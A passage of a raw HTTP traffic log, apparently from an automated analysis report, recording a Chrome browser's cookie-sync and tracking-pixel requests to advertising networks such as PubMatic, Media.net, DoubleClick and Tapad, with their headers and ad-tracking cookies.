ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=medianet&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3572593249104590000V10 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=son&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=2d729954-b637-472c-acf0-d931fcda5d4a HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=crt&ovsid=3a1484ea-90ac-4bdd-895c-934bad280353&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=8&vsid=3572593249104590000V10&type=opx&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=0c862afa-665c-0e9e-22ac-a733d256e22a HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=mf&ovsid=786797b7-bf38-456a-a874-4aad6fb5186b&cs=1 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=f10e083f-54cc-4ce5-aa07-8210352e586a&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=dxu&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=o2ksvWLN1S0QKf5 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1714257730544 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEJOnsZ4Y0zvykm-BqQM3Kw0&google_cver=1 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A6347C54E561441189B9C53740B29AD4 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&xid=y-nf1VF.ZE2uVQ3O9Z0CITcwq0tC3xkHY-~A&gdpr=0 HTTP/1.1Host: image4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q
Source: global traffic	HTTP traffic detected: GET /usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2 HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=con&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=AAACDi8HYa-cRgMTW_ICAAAAAAA&expiration=1714344137&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
Source: global traffic	HTTP traffic detected: GET /ddm/trackimp/N2189699.3349700DISPLAYVIDEO360/B31724224.392521620;dc_pre=CJD37du744UDFbYOiAkdT2wNjA;dc_trk_aid=583921962;dc_trk_cid=213367934;ord=1714257735630;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=;gdpr_consent=;ltd=;dc_tdv=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive/check?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1714257737362; TapAd_DID=da33c8c4-591f-41d2-a1ee-393c2b417291
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D92%263pid%3D%24UID&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
Source: global traffic	HTTP traffic detected: GET /syncd?dsp_id=256&user_group=2&user_id=7de677f8-dda1-428e-88ae-9b2fad295b01&redir=//i.liadm.com/s/52176?bidder_id%3D5298%26bidder_uuid%3D$%7BBSW_UID%7D HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q
Source: global traffic	HTTP traffic detected: GET /c/?adExInit=sovrn&gdpr=&gdpr_consent=&redir=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D108%263pid%3D%24UID&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: s.ad.smaato.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=23&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=federatedmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: data.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.
